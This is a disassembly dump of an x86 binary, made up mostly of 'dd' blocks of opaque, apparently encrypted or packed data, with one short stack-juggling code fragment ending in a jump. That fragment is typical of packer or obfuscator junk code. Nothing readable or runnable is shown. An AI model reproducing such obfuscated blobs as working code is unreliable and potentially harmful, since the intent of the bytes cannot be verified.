		dd 0B7C6CE3h, 9C1D6A6Fh, 0B12B83ECh, 869D26CAh,	6226780Fh
		dd 6E7C6CE3h, 7119A901h, 0DBA9BF8Ah, 5850h, 7BB9CB00h
		dd 2DB24ED9h, 0A1FD983Eh, 76243337h, 1DADDAA5h,	7624325Bh
		dd 0B3550AA0h, 2358CF85h, 9DF190E5h, 762439DBh,	89F58EE9h
		dd 22F35BF3h, 7475F18Bh, 0F04659E4h, 24D6F6E2h,	67056276h
		dd 0CEC9h, 4AC7BC00h, 0EBF6899Eh, 42DC369Eh, 0E9FFC59h
		dd 0F951DEE5h, 0DC7EB9EEh, 921EB249h, 9CEDE48Ch, 9A389E1Fh
		dd 7C6C4E67h, 25770463h, 0ECEB889Eh, 37871E9Fh,	7C6C4D71h
		dd 0D1B3307Fh, 4A3B3EC5h, 6C4EB7FCh, 0B16EE07Ch, 5ACDC86Bh
		dd 5DEA1721h, 9F375DB5h, 0DC90AB03h, 6C6CC682h,	295127Ch
		dd 6C6CECACh, 3EBFF87Ch, 309B10A7h, 0D04A44C6h,	61640E9Ah
		dd 36178BC9h, 405182BCh, 2C262A6Eh, 48C9B676h, 55D06C3Bh
		dd 0EE442552h, 0F5828122h, 69061BA7h, 99B9E1Bh,	949B9B6Ah
		dd 467486D9h, 98D2A8D9h, 0CF8BEA23h, 0B733CD10h, 0EA4C5B2h
		dd 28D485BEh, 0C95B5829h, 3AAD2A37h, 6B7609A3h,	911D95C3h
		dd 0B24E7C7Ah, 1D9D3530h, 806DF692h, 32D395E9h,	86E17624h
		dd 0AF635C30h, 243299DFh, 0A94B2776h, 37AE2FACh, 8AE56E42h
		dd 900057C0h, 0D7BE1413h, 73AE0B87h, 4D3A457Ch,	0D3B1B43Fh
		dd 48393CC7h, 90C8A63Dh, 5C7C73ADh, 0A0DDFB53h,	9DD3A895h
		dd 9AA7E2Dh, 1D9A8719h,	8580237Fh, 0F11CA4F4h, 1EAEFD8Ah
		dd 5021AEFBh, 924605B5h, 0E9831211h, 0C6E24849h, 226638CFh
		dd 0AEC79FD0h, 0CFC187D7h, 600FC79Fh, 24CF4BE3h, 991AB621h
		dd 268CED9Ah, 81989h, 807E0000h, 0E94140ECh, 0FC8526EDh
		dd 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh, 4AF682F3h
		dd 0CA6A0677h, 55EA86F7h, 0C96B3976h, 50B9BFCCh, 405E089h
		dd 83000000h, 0FF5004E8h, 58042474h, 5C24048Fh,	81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89532434h, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 2414895Ch, 188D6852h, 815A7138h
		dd 735935C2h, 89BB5344h, 0F72FAD46h, 3EEB81DBh,	81333072h
		dd 81825CC3h, 5BDA01B3h, 545AD689h, 8124148Bh, 4C4h, 0B8505600h
		dd 3F9D0372h, 4244431h,	8428F58h, 72087281h, 8B3F9D03h
		dd 89512414h, 4C181E1h,	83000000h, 0C8704C1h, 348B5C24h
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0F93D30E9h
		dd 0A761F0FFh, 4063D40Dh, 0B843CF37h, 64F408Eh,	0E0FFC503h
		dd 5185575Dh, 561D4F7Fh, 76C8A0F6h, 4E56338h, 3E409E7Fh
		dd 18822D7Bh, 0C55408Ah, 335E31A6h, 42658D8Dh, 0DF81064Fh
		dd 390D8560h, 18F0Fh, 89F80000h, 4814058Dh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0A6D7AF86h, 0BE9h, 37809200h, 96B6AA8Fh, 0C6507D1Eh
		dd 302585C7h, 739C0648h, 0E9F80000h, 0Dh, 870515EDh, 87B1535Dh
		dd 4CB8EB49h, 0D985C741h, 6482Ah, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0C15CC357h, 81B6EF30h, 0F58D89A2h, 0FF06480Ch, 480D3DB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 6393804Eh, 0F057B7B1h, 8E87Eh, 89D40000h
		dd 7D15D5E3h, 858B7E55h, 6480AF1h, 0AD9D895Fh, 0FF064805h
		dd 480E7195h, 199D8B06h, 6A064817h, 2D95FF00h, 8B064809h
		dd 581BEBC0h, 98115843h, 9940E536h, 0DDEA9F4Dh,	0D52A9569h
		dd 7BE5B396h, 0E4DE88D8h, 4EBECE0h, 4D60BAFBh, 573E9h
		dd 956C1500h, 1C199BF7h, 809F207Ch, 350CB4E0h, 0BABF3B57h
		dd 0E4DCB5DEh, 6F3B5958h, 0F0ACCCD9h, 7A167275h, 0C59EFAF9h
		dd 749CDCB2h, 96287C73h, 0FBFE850Dh, 7F72FE8Ah,	0E7E2811Dh
		dd 0D98AFF96h, 0CD331FECh, 0E5FDCF41h
		dd 941535D3h, 0D2D1523Eh, 0DC2DD7A5h, 8C50AF24h, 0AEDF5CDAh
		dd 0C068D78Bh, 4D442423h, 473431B3h, 65009026h,	0FD8F0662h
		dd 50086671h, 9C7624F0h, 5C3C9213h, 0BBDE2AD1h,	0EE2A6F8h
		dd 81EE7625h, 511A8FF4h, 38D4A3D0h, 7B17BFBAh, 0C8BF8E5h
		dd 0AE4B914Eh, 56DDC9ABh, 0D1942253h, 7E7624AFh, 160B8017h
		dd 0B54622B5h, 1590C886h, 2ABC7625h, 0B6224D3Fh, 3946370Ah
		dd 4460DF91h, 0DDE1EDDFh, 3433B04Ch, 4C902647h,	5Eh, 41EC80D7h
		dd 0C187D74Eh, 0F762432h, 0A54ECA60h, 2AC6D1AEh, 0B3218994h
		dd 762432F3h, 1EA5375Eh, 4239B31Bh, 0E10EB962h,	163DDh
		dd 85B80000h, 0FF8DFAFFh, 71037075h, 0D088E6F1h, 1C762432h
		dd 4E651293h, 7F052F9Ch, 0F5871E7Ah, 33DF7752h,	8B22B5B0h
		dd 24327533h, 8E244376h, 0EC8051F2h, 75324346h,	0B0B13DDDh
		dd 0E9F48B25h, 4B31B98h, 0BACBCE74h, 0FD58AE4h,	93026E63h
		dd 32E6A2FCh, 0B5F27624h, 0F3F67D1Dh, 0F9B22F64h, 0CA3CFAC6h
		dd 0DA8D9EB9h, 0DC728B72h, 3C3ACDDFh, 0A3C0B1B0h, 0BA475522h
		dd 38BAD6A7h, 0B5654C3Dh, 62DC31F6h, 83DB72BDh,	76243EC5h
		dd 706DF3h, 0DA9EF067h,	0E676243Eh, 769D3199h, 0E5DDE11Ch
		dd 0DFACA94Bh, 93D478DEh, 4F000000h, 8BF8F985h,	0A7B66F9h
		dd 81FEF57Eh, 57277F3h,	66BF6C5Eh, 0ED8824B3h, 0B61C9DEAh
		dd 119D4704h, 98247010h, 27770E99h, 76243261h, 9491136Fh
		dd 0B11986E7h, 0E0CE7602h, 0B4C54245h, 34455CE4h, 0A9C6D964h
		dd 1408E03Ch, 3E85D243h, 0F506DF8Ch, 0C45B8279h, 24F8AEEAh
		dd 0D57D3A76h, 0E1D652B9h, 4D88DDh, 4FE10000h, 0A4E4BAB9h
		dd 307624FEh, 0F8B9F677h, 0F9853152h, 7CF98BF8h, 0C38F0C7Dh
		dd 2928D41Ch, 1D215A4Bh, 95625B4Fh, 7550F662h, 0FF85CADDh
		dd 783D8DFAh, 0D7762432h, 135529C0h, 0A1762433h, 817E70C6h
		dd 0E10E7CA7h, 1A6DDh, 85FD0000h, 0FF96E7E2h, 0B0C1C06Dh
		dd 304140E0h, 0BC5CF273h, 0EA53037h, 2432F8B0h,	13BBC476h
		dd 8A71E164h, 53C2C166h, 413E3BB9h, 9EFE8A20h, 0D970E7A5h
		dd 2432C385h, 0C0961176h, 47507955h, 797C6Ch, 7C9D9057h
		dd 85D94C9Ch, 7C6D2DC3h, 0B0C09611h, 0F242C603h, 21AECE1Eh
		dd 0A4A34050h, 1C099F31h, 18A80E6Fh, 93E0E78Ch,	6CFC83C3h
		dd 0BD4F467Ch, 214E3F2Ah, 0C068D789h, 9B8D3723h, 0EB981904h
		dd 336F0D8Ah, 8B22B5B0h, 6CFC7533h, 1DA37Ch, 39463273h
		dd 0A40A0FABh, 95E98017h, 7C6CFCD3h, 0B23172E1h, 7E696E47h
		dd 3AB959F1h, 7214A83Fh, 0EAB03F97h, 62012B90h,	0F08C0567h
		dd 0C3DB736Eh, 0DBA92058h, 47AE31CBh, 7EC6DBB2h, 0B0C14E17h
		dd 1A81DE07h, 0E0619D5Fh, 14C824Ah, 0B9190000h,	7549DC7Eh
		dd 7C6C41B0h, 0C8D76804h, 0C56E3A4Bh, 4DF6A2CEh, 0C86B3976h
		dd 41ECBCCDh, 0C063314Eh, 40BDFBD3h, 6C0B7C6Ch,	60029EEFh
		dd 0F6971465h, 0D84E8744h, 70F339E6h, 9C871775h, 46DBA900h
		dd 5Bh,	0D97BB9DDh, 3388704Eh, 5FD47624h, 62442430h, 0B01162F6h
		dd 612AC400h, 394C3DBAh, 0F5B30BA2h, 0C3762469h, 69B2F6A4h
		dd 49DE7624h, 0D3412E5Ah, 0DDFB5356h, 7624699Bh, 0F315CAE0h
		dd 1980FC5h, 96F86288h,	8A0655C6h, 1A9BE8EFh, 74B226B4h
		dd 713E7624h, 0AC6513h,	0B9E20000h, 0B249DC7Eh,	0B3E785F9h
		dd 5FCD7EFBh, 5B79D1D4h, 7C6C67A6h, 64344522h, 0E9B8D8DFh
		dd 9EED5AB0h, 0B1C28D02h, 3DCB64ADh, 6B278FF1h,	2EBCCDC8h
		dd 7C6CDA65h, 0C56FDC9Eh, 48593B3Eh, 20ED1453h,	2C594A87h
		dd 16D8EB9Ch, 0AC00D63Eh, 5EC993h, 82BBCFCBh, 891B6817h
		dd 29EEFEAh, 871E6F62h,	2B4A7137h, 0A0307F76h, 22750205h
		dd 2B4B0C4Ch, 14DFD876h, 4520F9A6h, 8AC2B74Eh, 0E2E1AE15h
		dd 0E7F5B3E3h, 0A4C3762Bh, 79EF5C0Eh, 0B5099C3Eh, 7C7B2A76h
		dd 1BB22542h, 6D2A0543h, 41D4D37Ch, 6D2A2B6Dh, 58FEB97Ch
		dd 7EB9AB48h, 0B67549DCh, 27C7375h, 0FF841465h,	670C98F8h
		dd 90431360h, 0B8C7A367h, 3D4F3C3Bh, 9AC1BEABh,	6FA27B20h
		dd 9F24CCB3h, 7ACF898h,	65FB9500h, 227C0B78h, 0C384E266h
		dd 1EB43572h, 6E630391h, 7C47611h, 315356DDh, 0AADBDE65h
		dd 33Ch, 0DA419B00h, 94E5FC85h,	0B787F04h, 8CFDFC79h, 0E7F6AFCh
		dd 82F3F672h, 6774AF6h,	86F7CA6Ah, 397655EAh, 0BFCCC96Bh
		dd 521068B9h, 1C890000h, 692D6824h, 1C890000h, 0E7895724h
		dd 4C781h, 0EF830000h, 243C8704h, 2404895Ch, 4EC81h, 2C890000h
		dd 4290BD24h, 0EB89064Fh, 48B545Dh, 4C48124h, 68000000h
		dd 1C1Bh, 8F241C89h, 48B0840h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dd 819D1575h, 4F4794B8h, 0FFC50306h, 0D8FD05E0h, 0DF8FA715h
		dd 639F5106h, 0B77AF648h, 0AFB1EA22h, 2349FE64h, 0A531427Dh
		dd 0F058E75Dh, 0B2F37D66h, 126FFF73h, 7B31E754h, 82DE507Fh
		dd 3889A015h, 8C293073h, 0E0BD745Ah, 5ACCD943h,	5D86A235h
		dd 7C9C4355h, 9F082A45h, 79245335h, 1C86D42Bh, 14ECD964h
		dd 17E6C204h, 9989B63Dh, 19E57E24h, 6453A028h, 3F04EB63h
		dd 0E9494809h, 581h, 4647BFAh, 8DEFEA88h, 0F1938E11h, 64041DA5h
		dd 0EF8D8C28h, 2BD7EFC4h, 0C85E4A56h, 46E3BFDDh, 0CE752143h
		dd 0A33AA9CBh, 737A8DCBh, 2855B7Ch, 8AFBFE85h, 156972FEh
		dd 76243253h, 68691561h, 9C1D9A1Bh, 0C8CD7709h,	3454FABBh
		dd 0AFDCDB58h, 225356DDh, 0D8A9AC56h, 0BB62D991h, 374901C6h
		dd 0A395945Fh, 3B50253Fh, 85C39B83h, 53762447h,	937FD754h
		dd 18BFE110h, 626C6F5h,	13AAFB99h, 24A3FDBBh, 6ACCB76h
		dd 88E8EF8Ah, 79E911Ch,	0BBC8C975h, 932E89FAh, 0B673364Ah
		dd 7F019320h, 86F7F271h, 53ED78F9h, 0D7A5D2D7h,	47245530h
		dd 0C44370C6h, 0B4B133CDh, 5E10A6C7h, 0BBBE3BE1h, 23D3C8D9h
		dd 0CC255176h, 0E0830FA7h, 7FC694E5h, 0D07624FEh, 9C87A11Eh
		dd 46DDE1C2h, 82h, 11109D2Fh, 0EC802EB9h, 81EB944h, 0E72AE55Ah
		dd 0C2680966h, 3FC5AD56h, 0B9CCBD3Ah, 0E41EF2C0h, 24ABCE8Ah
		dd 0E89D1A76h, 8AEBC1Eh, 250F0C4Ah, 0D48B4776h,	0E1D20BF0h
		dd 1D1DDh, 854A0000h, 0FF8DFAFFh, 2ECA6675h, 0D5D5A2Bh
		dd 7624334Bh, 0F2B60899h, 0FE762432h, 0C2B330B1h, 9408FEB3h
		dd 0BA792A2Ch, 258D982Eh, 61F4CD75h, 51B4F4CAh,	67007624h
		dd 0D189A0CFh, 393CC66Ah, 0A1A44F5Bh, 0EC8020C3h, 713E4F5Ah
		dd 8AEE6E04h, 4CE2EEE2h, 0AC3220CCh, 22A3C0B1h,	0B8BD4755h
		dd 8E22B3CBh, 0A44EAF9h, 0EEE38F55h, 39D80277h,	0CA52FA1Ch
		dd 0AB484464h, 3ACDDFACh, 9F24B82Fh, 88853298h,	0CC4761DEh
		dd 5FDDE155h, 5E2F3ACDh, 6855F951h, 3C000000h, 0A90100A0h
		dd 0EBF9851Eh, 0DDC85E48h, 0D2AEDF5Ch, 0A215E4Dh, 0A541EB50h
		dd 52018450h, 24C93C7Ch, 9AEF8876h, 4D26DDA6h, 860182F3h
		dd 0BBD9460Ah, 0D6AD56EAh, 0D6A7BA3Ah, 159101A9h, 6D156714h
		dd 78EAE794h, 9D6EA583h, 2FB4DDE1h, 0EF000000h,	8BF8F985h
		dd 0EA7D7CF9h, 0A2D3AE56h, 0C14E6DC5h, 0EE8A5E0Dh, 85EA89EBh
		dd 3D8DFAFFh, 76243278h, 80A41BD7h, 0DDE10E9Bh,	141h, 0B80DA00h
		dd 0FF2B090Dh, 0DBC635B7h, 253EA3F2h, 0FD820EA4h, 600391EEh
		dd 35BF265h, 76248C45h,	31BE1493h, 1668FF96h, 76248C52h
		dd 0DD1FE59Eh, 0DCE30C55h, 6C5F75Fh, 325E4DD2h,	2829C963h
		dd 4B112A82h, 0FBD782DCh, 64037C6Ch, 0FBFE8517h, 63660D99h
		dd 0D4024412h, 8A367C6Ch, 0DFAFC6B7h, 7C6CD399h, 28C85827h
		dd 59115829h, 824C2DE2h, 237B12DDh, 7C6CD365h, 0F29E3473h
		dd 7F167271h, 324346EDh, 0B7C4DB66h, 31E149F6h,	0AAC6B7B2h
		dd 3963FE09h, 31990391h, 0C99B045Dh, 1D9A1B5Eh,	0E7A4166Ch
		dd 0D1B3B63Dh, 0A937C239h, 13118DBh, 80830000h,	0EA4047ECh
		dd 0F4632912h, 2326C35Dh, 0DFFD5552h, 7C6C4116h, 9ADEB047h
		dd 267C6C40h, 0A6C1F159h, 82C6982Fh, 4E7C6C40h,	9EEA8921h
		dd 26721E15h, 9EE9869Dh, 17FF3E5h, 49E11CDFh, 0F7DB2AC9h
		dd 0D4733DECh, 0A5130075h, 6B1F5921h, 0AB059DEAh, 80872CF4h
		dd 76D348E0h, 0AC40DBA9h, 0A4A80E01h, 60h, 860B80FFh, 0B203B2B5h
		dd 0D45530D6h, 0F092AE7Eh, 199F0965h, 91287625h, 37075FFh
		dd 18743462h, 27407625h, 0ED97E38Fh, 4C1A6BE8h,	7625190Ch
		dd 2E25911h, 72099C36h,	25185C1Ch, 7A0F6876h, 0E6705144h
		dd 0C550E698h, 2531FFE9h, 66026D76h, 76C8h, 4826BD00h
		dd 76253210h, 687BD3DCh, 49DC7EB9h, 6C4EBC75h, 1E6F087Ch
		dd 0DA9EF087h, 0E67C6C4Dh, 0C2613199h, 4AE9A5C7h, 0ADA3D84Fh
		dd 34D5CB8Eh, 0A230BF17h, 7C6C96E1h, 41EB501Ah,	0F5C5A7A2h
		dd 399500CAh, 82BBDDF1h, 7103703Fh, 0CB8DE1F2h,	0FC762B5Dh
		dd 2B5DE6A2h, 0C7B5F276h, 0CB4A3BB8h, 8BB4500Fh, 5DC187D7h
		dd 600F762Bh, 0D01A74E3h, 187C7AA5h, 8056FD9Fh,	4458300Bh
		dd 2A80A040h, 34A36952h, 0B1191898h, 8E544DE4h,	0AEBB4DB3h
		dd 18A7D0D1h, 5402A8A4h, 7C746F86h, 81EA537h, 9AEB6877h
		dd 6C05B51Dh, 73EE5612h, 8405627Ch, 0EF1EA5F7h,	5C902C64h
		dd 8DEF6C01h, 67217D14h, 957C73C8h, 1A6517F2h, 585FE4B4h
		dd 0A5B633CDh, 73C88FC9h, 0D5525D7Ch, 2E07E7Dh,	0D7CB7B10h
		dd 0F77CA41Bh, 0F0CE65F0h, 0BF6D03B8h, 0B7D37B04h, 2C5D58DBh
		dd 0ACDDD45Ch, 2EF2A929h, 11109D85h, 1FA4F090h,	3F8B00Eh
		dd 0BBC4BF6Dh, 0BDD4D3Ah, 0C8000000h, 3A58934h,	96319906h
		dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
		dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 81B9BFCCh
		dd 4ECh, 242C8900h, 0C581E589h,	4, 8704ED83h, 575C242Ch
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	8953242Ch, 4C381E3h
		dd 81000000h, 4EBh, 241C8700h, 243C895Ch, 4B36853h, 0C15B4169h
		dd 0E38107EBh, 800742h,	0B951DBF7h, 6CF4A7Fh, 8959CB01h
		dd 8B545BDDh, 0C481243Ch, 4, 2C7E68h, 242C8900h, 8B08478Fh
		dd 8952243Ch, 4C281E2h,	83000000h, 148704C2h, 2C8B5C24h
		dd 0E3895324h, 4C381h, 0C3830000h, 241C8704h, 3077E95Ch
		dd 0E39FFF9h, 4D5EB8B4h, 0C503064Fh, 0CD13E0FFh, 48DA613Fh
		dd 0C84F7BDAh, 0B87E1A38h, 0EC1F6D17h, 0F2C419D6h, 0CACF7908h
		dd 0B0F61005h, 93C86122h, 46D77699h, 17493D1Bh,	6F1B526Ch
		dd 61CB5A5Bh, 0DB611718h, 94280A3Bh, 0AB1A0003h, 47005776h
		dd 0A59C6B22h, 0C34E49E3h, 7B182226h, 1A9B60D3h, 0B49E2DDAh
		dd 8D8D1E55h, 64F4F44h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 0E0C35646h, 66DBC0F5h, 8D89F18Bh, 6481405h
		dd 205BD09h, 85C70648h,	6483025h, 587Ch, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 1Ch, 75C35141h, 42BFDA23h
		dd 0C268685Eh, 6EC7EDBFh, 11800F37h, 0E9000000h, 0Ch, 7E265A71h
		dd 7BE97990h, 442EE4CCh, 2AD985C7h, 648h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 33BDF8C3h, 0FF3BB0E4h, 4806FDB5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0F381669Eh
		dd 95FF57F5h, 6480E71h,	535B50Bh, 6A0648h, 92D95FFh, 0C08B0648h
		dd 0A9E868EBh, 191B8763h, 6E2C83F4h, 76BCF434h,	6F68EB99h
		dd 2E8C36E1h, 42BB70BCh, 0C8811C02h, 36F9AF8h, 0BAF9F008h
		dd 4DE27A39h, 0E29A8DFAh, 0A3B76D2Dh, 0BE679452h, 920742DEh
		dd 52DF1677h, 119C59D8h, 5775C874h, 1A639DEh, 80EC63E0h
		dd 518F4481h, 6CC51EAEh, 9078E030h, 0EB2AEBD3h,	0E148C963h
		dd 3AC915D9h, 4EB9F3Bh,	4AE82B63h, 576E9h, 0B9B83900h
		dd 2025CFDBh, 0D4B35440h, 5958D8B4h, 0CEC36F3Bh, 83081A2h
		dd 930F6D6Ch, 2470100Dh, 0AEFA8699h, 0F1620E05h, 81C880DEh
		dd 0B2147C73h, 0FBFE85D1h, 0AB86FB8Ah, 0F57AC906h, 8834E44Ah
		dd 34BFEB89h
		dd 128E9D22h, 81EE9F92h, 82217300h, 0EA9FF687h,	0A5AF8A89h
		dd 38F27A8h, 0DC176461h, 0D26EB16Eh, 0F6C85F52h, 762521B2h
		dd 39D9713Eh, 9428BFBAh, 196617F2h, 0B8011B1h, 0CF542520h
		dd 0D9B911CAh, 633F5D5Ch, 0E6B2C3C6h, 64344540h, 0DEAADBDEh
		dd 0A92C5D48h, 0DABD7229h, 8E8B29C3h, 26C9B628h, 4E4F2A6Dh
		dd 0DC4C6E7Ch, 1FFB5356h, 0A1FD9F92h, 0F9900702h, 245BE3A5h
		dd 0FEBA1476h, 0CA76245Bh, 20C3DFADh, 0D6575425h, 8D247300h
		dd 245B7731h, 1B1EA576h, 307F0D6Ah, 5B793C9Ah, 64D67624h
		dd 279A81A7h, 7709DDE1h, 0F05CF2CFh, 53h, 0FBFE852Bh, 327A3C8Ah
		dd 19D57624h, 0E9982A2h, 0D43DDE1h, 2A000000h, 89516B71h
		dd 47D50513h, 7A0DA5A0h, 50ECFF85h, 0C5A2D3CEh,	2432D395h
		dd 1986E176h, 9F9A1868h, 0F7D27408h, 0A040505Fh, 1F9A36A1h
		dd 2E05B218h, 0DF658F7Ch, 41E2BEDAh, 859D2642h,	0F98BF8F9h
		dd 5216687Bh, 9E762433h, 8C059011h, 0F7BBAE7Dh,	5261C998h
		dd 0D5A2A146h, 55223FC7h, 825B00B2h, 37FDA21Ch,	0BEEAB68Bh
		dd 83862D35h, 651E9302h, 0C1F59389h, 34455CE4h,	5360F677h
		dd 0D2A3BE41h, 71DDD6B9h, 30F4873Dh, 6D983F4h, 48F5781Fh
		dd 1533E8E2h, 0DDE1B2FEh, 7A24h, 0F9857F00h, 66F98BF8h
		dd 0B0270A7Bh, 389E911Ch, 7A16D986h, 4C4BE8FEh,	59F1BECFh
		dd 5C3C3DB9h, 0DBB3A440h, 7624329Dh, 0C6B6B22Ch, 2F5D6F8Bh
		dd 0E6B2C340h, 6632435Eh, 0BAFED0DDh, 676245Ah,	0F98BF879h
		dd 8C0B7879h, 37D811CEh, 2BE0C4BBh, 0F1DDE138h,	59h, 0F8F9852Ah
		dd 5550D36Dh, 0D6A95424h, 0A6F28129h, 0D677041Bh, 0F17DA764h
		dd 32D088E6h, 931C7624h, 80ED7612h, 384D44ECh, 0A0BBF57Dh
		dd 0E8A20D0h, 42106164h, 7624FA03h, 0FB888D37h,	710E0BA9h
		dd 53E85729h, 6D5B00BAh, 0DDE1C9B6h, 0ECE98B25h, 94B81E9Fh
		dd 1, 0E7E2850Fh, 7A79FA96h, 13C88A0Dh,	492B36C9h, 39152358h
		dd 0B5053323h, 0C776411Dh, 898C3721h, 522C7B08h, 7624C616h
		dd 0C744C5A2h, 0A3E5B950h, 317624C5h, 0F080C482h, 0D350B090h
		dd 95C49A7Bh, 417C6D2Dh, 0B83B4926h, 2595D3ABh,	0BE247C6Dh
		dd 2437FADFh, 3FBCFB89h, 0A7A2415Dh, 0F0B9C30h,	90E16E63h
		dd 6E2A8413h, 7A7C6CA6h, 48E6953Dh, 7C6CA70Eh, 974605C9h
		dd 0D8D08B00h, 7C0E6CE4h, 6CBB6A2Eh, 9B09767Ch,	0F6C1D18h
		dd 0B948EBA7h, 0F1AADB8Eh, 1672F3E4h, 56E9F97Ah, 0C682DC4Bh
		dd 127C6CE5h, 10671495h, 0A3E6959Bh, 268CA13Ch,	5BCAC96Ah
		dd 532021C1h, 0A7FFFC52h, 21C216D5h, 18079834h,	6D2A0E4Ah
		dd 0BDB83A7Ch, 4123A0CFh, 0A9F972A9h, 0CEA8E1DBh, 0F06EEA1Ch
		dd 9365057Eh, 70767093h, 11B72DAh, 0B9A90000h, 0B4F4CA7Eh
		dd 0E0762432h, 77344544h, 6AFD7A05h, 6C40D114h,	0EA89E57Ch
		dd 83116EEFh, 0E87E5E0h, 82F3F672h, 26CD4DE5h, 9C18B423h
		dd 278FEC9Dh, 7C7BF888h, 4605770Fh, 76121192h, 0A9003DE6h
		dd 47E7DBh, 0B93C0000h,	56042D7Bh, 0C3701330h, 245AADEBh
		dd 0FF7C3B76h, 2197E77Eh, 4F76245Bh, 0C5835320h, 0DA76245Ah
		dd 8ECAA43Bh, 5A76245Ah, 0EED6285Dh, 58D388E2h,	0E503F8F2h
		dd 0D4AA3DD7h, 7624F6E4h, 0DB553770h, 8Dh, 0DC7EB938h
		dd 80DB749h, 1943A7Bh, 532ED66Ah, 4E24DDFBh, 0AB457C6Ch
		dd 9C9D190Fh, 0A9018EEFh, 83116E09h, 0DB72E5E0h, 6C4DC583h
		dd 3E94137Ch, 654DF6A2h, 0E5B7C4DDh, 4AC64742h,	5F2CADA8h
		dd 6C4EC48Fh, 8C73FF7Ch, 0B8D8DF64h, 0B225E7D0h, 0BB9D4BDCh
		dd 60039F82h, 0DF71E465h, 412E5F52h, 21BBCAE9h,	632F8782h
		dd 11B4C5C0h, 310AFAA1h, 95A2FC6Bh, 457C7AD6h, 0F18E8B29h
		dd 878220B0h, 912B7A06h, 0FA871514h, 41E996E7h,	0DC7EB926h
		dd 3510B749h, 91A6F89Dh, 597C7382h, 0DFACA54Dh,	502051DEh
		dd 0D8B4D4D3h, 582F5C5Bh, 79843B23h, 0DF65C776h, 0E7F55DDAh
		dd 0C91B8165h, 0F13BE05Ah, 7C157772h, 304140E0h, 0B43FDB73h
		dd 30B0C0B1h, 0CEC54031h, 0E1216737h, 0C0AFC10Ch, 618B706Ah
		dd 1F3533C2h, 0B3933143h, 6A09A332h, 0EFBBC76Fh, 82304144h
		dd 3, 85DA4101h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah
		dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
		dd 81E38953h, 4C3h, 4BF5700h, 29000000h, 1C875FFBh, 72685C24h
		dd 89000022h, 0D682414h, 89000026h, 9CBA243Ch, 5719F823h
		dd 0E03942BFh, 47DFF775h, 4707EFC1h, 0FC2FC781h, 0FA293C9Ch
		dd 81EAD15Fh, 6C3C53F2h, 3C8B5468h, 4C48324h, 6A0968h
		dd 24048900h, 8B8h, 89F80100h, 34FF5810h, 0C4815F24h, 4
		dd 5A2434FFh, 0E904C483h, 0FFF92951h, 2470FFB0h, 83D46D38h
		dd 7429224Ch, 0B8FE20C0h, 64F54ABh, 0E0FFC503h,	21C917D3h
		dd 5638B062h, 6B76425Dh, 7E23000h, 1718C0F9h, 72F4AE2Ah
		dd 602C5621h, 31E98C70h, 4BB9F16h, 200B69D2h, 9141877h
		dd 4543E8D6h, 65B86E95h, 64425981h, 77B41B07h, 594CC52Bh
		dd 57058953h, 202D95C7h, 342DBE90h, 1120C128h, 277512A3h
		dd 3B060F4Dh, 0E8F9191h, 4705A9E5h, 3D12A961h, 6FD93E82h
		dd 4C9AF887h, 57116E00h, 56648D8Dh, 8D89064Fh, 6481405h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0EDC35242h
		dd 3E769B30h, 0A9958988h, 0C7064808h, 48302585h, 72AC06h
		dd 20EB8100h, 0C727CC5Fh, 482AD985h, 6,	53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 0D3BAFB71h, 5631B1F5h, 28D9BD89h, 0FF580648h, 4827D9B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0C3F22D2h, 0BA66C8B7h, 95FF399Dh, 6480E71h
		dd 0D537BF66h, 2285858Bh, 6A0648h, 92D95FFh, 0C08B0648h
		dd 0C58D1EEBh, 0AEFF6E19h, 6E7555Ch, 6F37E015h,	56A1F6E6h
		dd 92A91B8h, 3FFF91Fh, 9F653618h, 58BD04EBh, 40E93C8Eh
		dd 17000005h, 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh, 4551330Eh
		dd 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh, 0E4E3801Ch
		dd 0E6B8CF84h, 7C7388A2h, 850F982Eh, 0FE8AFBFEh, 51E87F72h
		dd 24333B7Dh, 48EE8976h, 0C0C76C38h, 4742E1B3h,	0CBD85A36h
		dd 2432B5F3h, 0E7640376h, 30EFA396h, 2C4C4BE8h,	0F706F570h
		dd 4B8F3DB9h, 0AE45D051h, 247E98D0h, 0ABEDC176h, 3976247Eh
		dd 0CD65027Eh, 4544E1BDh, 0D4C26434h, 0A6D75433h, 24CCB33Fh
		dd 0AEFA8699h, 0E1710E05h, 76247EA4h, 275453D0h, 0DBA8A955h
		dd 0AAB94EDAh, 0CDB23CDDh, 0FED3BAC0h, 8B082DB8h, 1533E862h
		dd 0DDE164EEh, 0AD34h, 0A8069D00h, 762498F0h, 881BB3FCh
		dd 8AFBFE85h, 24327A3Ch, 2BC2D576h, 24331553h, 54C4A376h
